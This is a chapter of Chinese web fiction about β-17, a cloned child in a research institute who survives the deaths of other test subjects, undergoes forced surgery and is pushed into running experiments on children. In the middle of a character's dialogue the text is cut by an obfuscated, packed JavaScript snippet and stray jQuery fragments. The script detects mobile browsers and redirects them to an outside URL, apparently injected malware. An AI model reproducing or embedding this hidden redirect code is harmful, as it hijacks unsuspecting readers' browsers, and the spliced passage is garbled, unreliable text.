金发的孩童站在窗前，注视着窗外。


    窗外是虚拟气候系统构建出的无垠雪景，那白茫茫的景致铺展到天际线，与铅灰色的低云融为一体。


    他已经在这里站了很久，久到玻璃内侧结了一层薄薄的雾——那是他呼吸的热气在寒冷传导中凝成的霜。


    他不认识“雪”。


    这个词在他脑海里有定义：固态降水，由冰晶构成，多呈六角形。


    但那是语言模块灌输的语义数据，不是他自己的经验。


    他从未触碰过雪，从未感受过它的温度，从未见过它在掌心融化的过程。


    他只知道，每当他站在这里，盯着那片无边无际的白，心里就会升起一种难以具体界定和描述的情绪。


    他看着玻璃反光中面无表情的自己。


    ——他叫β-17。


    这是他的唯一标识。


    他没有名字，没有生日，没有“父母”这一概念的对应实体。


    但他知道很多。


    他知道自己的存在始于这家研究所的第7培育舱，催生周期为21个小时；


    他也知道自己的的基因源来自一个已死亡的样本，身体里携带着未经修正的致命缺陷。


    他本不应该活着。


    那批同源的克隆体中，他是β型，即原始复刻版，带着所有遗传瑕疵的“纯副本”。


    他的同类大多在测试周期的前三个月内被淘汰，死法千奇百怪。


    评估报告上的结论永远都是五个字——“样本已终止”。


    他不知道自己为什么活了下来。


    也许是因为那道缺陷在他体内呈现出的表达模式偏离了预测模型；


    也许是因为他的神经系统对某些药物有奇异的耐受阈值；


    也许只是因为——房律在某一天抬起头，扫过数据屏上成排的绿色“正常”与零星闪烁的黄色“异常”，在他那一栏停留了两秒。


    “这个，”他说，“继续观察。”


    于是β-17继续活着。


    他学会的第一件事，不是说话，不是走路，而是“等待”。


    等待每日的取样，等待例行的扫描，等待实验结果出来后那些穿白衣服的人在他床尾低声交换意见。


    他听不懂那些术语，但他学会了辨认语气：平静意味着“无异常”，急促意味着“有问题”，而沉默——


    沉默意味着有人今晚不会再回到隔壁的舱房。


    他学会的第二件事，是“观察”。


    观察培养舱玻璃上凝结的水珠如何沿着固定的弧度滑落，观察天花板通风口的气流每隔四十七秒会有一丝微弱的颤动，观察那些穿白衣服的人。


    观察他们的步态、手势，还有对话中的每一个停顿。


    他逐渐能从口罩上方露出的眉眼分辨出谁是谁，能从操作仪器时的细微习惯判断出谁今天心情不好、谁昨晚没睡够、谁在按按钮时手指会多停留半拍。


    这些观察没有实用价值，但他还是在观察。


    ——这是他唯一能做的事。


    再后来，他学会了第三件事：名字。


    不是他自己的。


    β-17没有名字，所以他学会的是别人的名字。


    研究所里有很多孩子，孩子们的来源多种多样，并不是所有人都和他一样出生在实验室。


    β-17记住了每一个睡在隔壁舱房的人，记住了他们的脸、他们说话的方式、他们害怕时会蜷缩起来的姿势。


    他记住了一个叫“菲朵拉”的女孩，她会在取样结束后小声说“谢谢”，即使没有人教过她这个词。


    他记住了一个叫“艾利”的男孩，他喜欢在睡前隔着舱壁敲三下，像某种秘密的暗号。


    他一个个记住了他们。


    然后，他一个个目送他们被带走。


    舱房会空出来，消毒，然后填入新的编号。


    那三下暗号再没有响起过，但他还是会习惯性地侧耳倾听。


    那一年他七岁。


    在研究所的时间轴上，这已经是很长的数字。


    比他大的样本都被标记过“长期观察”，然后不知在哪一天突然消失。


    他不知道自己为什么还在。


    他只知道，每次扫描结束时，数据屏上他的那一栏，仍然亮着绿色的“正常”。


    某一天，他听到一个研究员和另一个研究员说话的时候提到过他，说“β-17真是个幸运的实验体，照这样下去，说不定还真能活到去看一眼外面世界的那天”。


    β-17记下了这句话，却对“外面”的概念十分模糊。


    外面是什么？


    是那个玻璃窗内的雪景，是影像模块定期播放的标准化自然风光素材，是语言模块里那些没有对应经验的词汇——


    风、雨、泥土、树叶。


    他知道这些词的释义，却无法真正理解它们。


    就像他无法理解为什么自己会站在这里，盯着那片重复播放了无数遍的、一成不变的雪，而心里那种情绪又究竟是什么。


    β-17想起艾利。


    那个男孩被带走的前一晚，敲了三下舱壁。


    他犹豫了很久，然后轻轻敲了回去。


    第二天早上，艾利的舱房空了。


    β-17后来再也没有敲过任何人的舱壁。


    窗外的雪还在下。


    他知道那是假的。


    但他不想让这片雪被换掉。


    “β-17。”


    身后的门无声滑开。


    他没有立刻回头，只是将掌心从冰凉的玻璃表面移开，垂在身侧。


    “今天的监测提前了。跟我来。”


    他应了一声，声音很轻。


    离开前，他最后看了一眼窗外。


    雪还在下，白茫茫一片，铺展到他从未踏足过的远方。


    他没有回头。


    又过去了很久，久到β-17的存在，已经变成了研究员们口口相传的“奇迹”。


    然后，更多奇迹眷顾了他——他被检测出远超常人的认知能力，数据解析与模式识别的天赋近乎异禀。


    房律又一次来到他面前。


    “我听你的负责人说了，你很有科研方面的天赋。”


    β-17没有回答，房律也不需要他回答。


    男人只是带他去了一个保存着无数罐体的房间，对他展示着自己的成果。


    “老实说，这些孩子挺好用的。”房律语气温和，内容却残酷无比，“直到现在，我也没找到比你的原型体更合适的实验素体……算了，这本来也是可遇不可求的幸运。”


    “更何况，现在我还有了你。”


    β-17的目光随着男人的手看向罐子，看向罐子中沉浮的无数个“自己”。


    很多穿着防护服的人穿梭在罐体间，忙碌着自己的工作。


    看到他们来了，有人想过来，却被房律摆摆手阻止了。


    他按住β-17的肩膀。


    他说：“人生来便是无瑕的器皿，需盛满他人的期望，才能长出灵魂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176526|195144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ——β-17，你和他们不一样，你是最优秀的那个，别让我失望。”


    β-17垂下头，没有说话。


    他身后的某个罐子中，一个实验体似乎短暂地睁开了眼睛。


    很快，那个罐子的监测仪发出拖长的、单一频率的蜂鸣，有研究员匆匆赶去，检查后，给这个罐子打上了“样本已终止”的标记。


    那一年β-17的生理年龄是十岁。


    也是同样的一年，在房律的授意下，他躺在手术台上，经历了一次完整的全身整形。


    那场整形手术持续了三个月，分六期完成。


    β-17躺在手术台上的时候意识清醒——房律认为这有助于他“观察并理解”自己正在经历的变化。


    局部麻醉使他能感知到每一刀的走向，皮肤、筋肉、骨骼……他浑身上下都在哀嚎着痛苦。


    他没有挣扎，甚至没有闭上眼睛。


    他只是在心里默念那些他记住的名字。


    他一遍遍念着，像某种无声的祷词。


    那些名字支撑着他，让他没有在某一刻突然失去继续存在的意愿。


    整形手术完成后，他又被送进了新的培养舱。


    在冰凉的不知名液体中，他感觉到自己在快速成长。


    从骨头缝中产生的撕裂般的痒与痛，几度让他失去意识。


    三个月后，镜子里的人陌生的可怕。


    他不再有一张与实验体们相似的脸，取而代之的是一张陌生的、从未在培育舱里出现过的面容。


    轮廓更深，眉骨更挺，眼尾微微下垂，无端带出几分悲悯的倦意。


    这是房律亲自设计的方案。


    β-17看着镜子里那个陌生人，他的生理年龄似乎也被拉高了，镜子里的人无论从哪看都该是一个十几岁的少年。


    他动了一下嘴角，陌生人同步动了一下嘴角。


    他垂下眼帘，陌生人同步垂下眼帘。


    这就像一个并不好玩的游戏，房律就站在他身后，满意地看着自己的作品。


    他没有告诉面前少年，这种揠苗助长式的催熟是有代价的。


    反正这孩子的结局他早就想好了，现在也不过是早早将潜力激发出来，好在能使用的期限内榨取利益而已。


    从那之后，β-17被填鸭式地塞进了海量知识，随后被通知开始正式参与某些项目——不是以实验体身份的那种。


    城建历170年，β-17的外表看起来已经完全是一个成年人了。


    但他自己知道，他出现在这个世界上，也不过短短十年。


    这天，他经过那扇窗，突然想到，按照一般人的计算方式，今天应该是他十岁的生日。


    这个念头轻轻浮动了一下，又很快散去。


    他照常前往自己最近常去的实验室。


    也就是这天，第一个在他手下死去的实验体出现了。


    然后是更多。


    更多更多。


    往后很长一段时间中，那些死去孩子的面孔，都会在他的梦中不断出现。


    他开始学会阳奉阴违，学会在严密的检测下偷偷照顾几个能照顾到的孩子。


    那些孩子在他的帮助下对他露出怯生生的笑脸，又在死去前对着他哭泣。


    无形的梦魇挥之不去，然后很突然的，他知道了自己的心脏上挤压着的无形之物是什么。


    那是愧疚，是自厌，是毁灭欲，是愤怒，是一切好与不好的情绪总和。


    在那一刻，β-17终于明白了——